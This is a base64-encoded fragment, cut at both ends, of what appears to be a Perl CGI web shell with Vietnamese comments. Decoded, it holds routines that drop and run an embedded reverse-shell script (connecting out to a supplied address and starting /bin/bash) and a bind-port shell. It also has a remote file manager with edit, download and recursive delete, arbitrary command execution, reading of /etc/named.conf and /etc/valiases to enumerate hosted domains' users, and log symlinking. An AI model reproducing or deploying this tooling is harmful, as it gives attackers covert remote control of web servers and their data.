jE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+CgoJPC90cj4KCTwvdGFibGU+PGJyPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgdXNlIHBlcmwKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmQKewoJdXNlIE1JTUU6OkJhc2U2NDsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJhY2tjb25uZWN0LnBsICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwogICAgaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9CglpZighcm1kaXIoJGRpcikpCgl7CgkJCgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICRmaWxlOwoJfQoJcmV0dXJuICIwIjsKCn0Kc3ViIFBhcnNlRmlsZVNpemUoJCkKewoJbXkgJHNpemUgPSBzaGlmdDsKCWlmKCRzaXplIDw9IDEwMjQpCgl7CgkJcmV0dXJuICRzaXplLiAiIEIiOwoJfQoJZWxzZQoJewoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBLQiI7CgkJfQoJCWVsc2UgCgkJewoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMmYiLCRzaXplIC8gMTAyNCAvIDEwMjQpOwoJCQlyZXR1cm4gJHNpemUuIiBNQiI7CgkJfQoJfQp9CnN1YiB0cmltKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmcgPX4gcy9eXHMrLy87Cgkkc3RyaW5nID1+IHMvXHMrJC8vOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIEFkZFNsYXNoZXMoJCkKewoJbXkgJHN0cmluZyA9IHNoaWZ0OwoJJHN0cmluZz1+IHMvXFwvXFxcXC9nOwoJcmV0dXJuICRzdHJpbmc7Cn0Kc3ViIExpc3REaXIKewoJbXkgJHBhdGggPSAkQ3VycmVudERpci4kUGF0aFNlcDsKCSRwYXRoPX4gcy9cXFxcL1xcL2c7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBPcGVuIFNhbnM7IGZvbnQtd2VpZ2h0OiBib2xkOyc+UGF0aDogWyAiLiZBZGRMaW5rRGlyKCJndWkiKS4iIF0gPC9zcGFuPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkJyBzaXplPSc0MCcgdmFsdWU9JyRDdXJyZW50RGlyJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdndWknPjxpbnB1dCBjbGFzcz0nc3VibWl0JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdDaGFuZ2UnPjwvZm9ybT4iOwoJaWYoLWQgJHBhdGgpCgl7CgkJbXkgQGZuYW1lID0gKCk7CgkJbXkgQGRuYW1lID0gKCk7CgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQoJCXsKCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJCXsKCQkJCSRmPSRwYXRoLiRmaWxlOwoJCQkJaWYoLWQgJGYpCgkJCQl7CgkJCQkJcHVzaChAZG5hbWUsJGZpbGUpOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsKCQkJCX0KCQkJfQoJCQljbG9zZWRpcihESVIpOwoJCX0KCQlAZm5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZm5hbWU7CgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOwoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4KCgkJPHRyIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiAjM2UzZTNlJz48dGg+RmlsZSBOYW1lPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+T3duZXI8L3RoPgoJCTx0aCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5QZXJtaXNzaW9uPC90aD4KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+CgkJPHRoIHN0eWxlPSd3aWR0aDoyNjBweDsnPkFjdGlvbjwvdGg+PC90cj4iOwoJCW15ICRzdHlsZT0ibGluZSI7CgkJbXkgJGk9MDsKCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpCgkJewoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOwoJCQkkZCA9ICZ0cmltKCRkKTsKCQkJJGRpcm5hbWU9JGQ7CgkJCWlmKCRkIGVxICIuLiIpIAoJCQl7CgkJCQkkZCA9ICZQYXJlbnRGb2xkZXIoJHBhdGgpOwoJCQl9CgkJCWVsc2lmKCRkIGVxICIuIikgCgkJCXsKCQkJCSRkID0gJHBhdGg7CgkJCX0KCQkJZWxzZSAKCQkJewoJCQkJJGQgPSAkcGF0aC4kZDsKCQkJfQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+CgoJCQk8dGQgaWQ9J0ZpbGVfJGknIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVPd25lcigkZCkuIjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+PGEgaHJlZj0namF2YXNjcmlwdDpyZXR1cm4gZmFsc2U7JyBvbmNsaWNrPVwicmVuYW1lX2Zvcm0oJGksJyRkaXJuYW1lJywnIi4mQWRkU2xhc2hlcygmQWRkU2xhc2hlcygkZCkpLiInKVwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0kcGF0aCZyZW1vdmU9JGRpcm5hbWUnPlJlbW92ZTwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsKCQkJJGkrKzsKCQl9CgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQoJCXsKCQkJJHN0eWxlPSAoJHN0eWxlIGVxICJsaW5lIikgPyAibm90bGluZSI6ICJsaW5lIjsKCQkJJGZpbGU9JGY7CgkJCSRmID0gJHBhdGguJGY7CgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsKCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgT3BlbiBTYW5zOyc+PGEgaHJlZj0nP2E9Y29tbWFuZCZkPSIuJHBhdGguIiZjPWVkaXQlMjAiLiRmaWxlLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZQYXJzZUZpbGVTaXplKCZGaWxlU2l6ZSgkZikpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7JyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsKCQkJJHJlc3VsdCAuPSAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPiIuJkZpbGVMYXN0TW9kaWZpZWQoJGYpLiI8L3RkPiI7CgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOwoJCQkkcmVzdWx0IC49ICI8L3RyPiI7CgkJCSRpKys7CgkJfQoJCSRyZXN1bHQgLj0gIjwvdGFibGU+PC9kaXY+IjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZG9tYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGRvbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDU+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgT3BlbiBTYW5zO2NvbG9yOiAjZmZmZmZmOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOwoJaWYgKCRlcnIpCgl7CgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZT48dHI+PHRoPkRvbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gIi9ldGMvdmFsaWFzZXMvIi4kb25lOwoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7CgkJCSRyZXN1bHQgLj0gJzx0ciBjbGFzcz0iJHN0eWxlIiB3aWR0aD01MCU+PHRkPicuJG9uZS4nIDwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IE9wZW4gU2Fucztjb2xvcjogI2ZmZmZmZjsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLAoJCQkJJy92YXIvbG9nL2h0dHBkL2Vycm9yX2xvZycsCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJwoJCQkJKTsKCW15ICRpPTA7CglteSAkcGVybXM7CglteSAkc2w7Cglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQoJewoJCWlmKC13ICRsb2cpCgkJewoJCQkkcGVybXM9Ik9LIjsKCQl9ZWxzZQoJCXsKCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsKCQkJaWYoJnRyaW0oJGxzKSBlcSAiIikKCQkJewoJCQkJaWYoLXIgJGxzKQoJCQkJewoJCQkJCSRwZXJtcz0iT0siOwoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOwoJCQkJfQoJCQl9ZWxzZQoJCQl7CgkJCQkkcGVybXM9Ijxmb250IHN0eWxlPSdjb2xvcjogcmVkOyc+Q2FuY2VsPGZvbnQ+IjsKCQkJfQoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CgkJCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2xvZ18kaScpLnZhbHVlPSdsZXNzICcgKyB0aGlzLnZhbHVlOyIgdmFsdWU9IiRsb2ciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9ImxvZ18kaSIgbmFtZT0iYyIgdmFsdWU9Imxlc3MgJGxvZyIvPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPgoJCQk8L2Zvcm0+CgkJCTx0ZD4kcGVybXM8L3RkPgoKCQk8L3RyPgpFTkQKCQkkaSsrOwoJfQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKJEFjdGlvbiA9ICRpbnsnYSd9OwoKJEFjdGlvbiA9ICJjb21tYW5kIiBpZigkQWN0aW9uIGVxICIiKTsgIyBubyBhY3Rpb24gc3BlY2lmaWVkLCB1c2UgZGVmYXVsdAoKIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZAokQ3VycmVudERpciA9ICZ0cmltKCRpbnsnZCd9KTsKIyBtYWMgZGluaCB4dWF0IHRob25nIHRpbiBuZXUga28gY28gbGVuaCBuYW8hCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7CmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsKCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsKCmlmKCRBY3Rpb24gZXEgImxvZ2luIiB8fCAhJExvZ2dlZEluKSAJCSMgdXNlciBuZWVkcy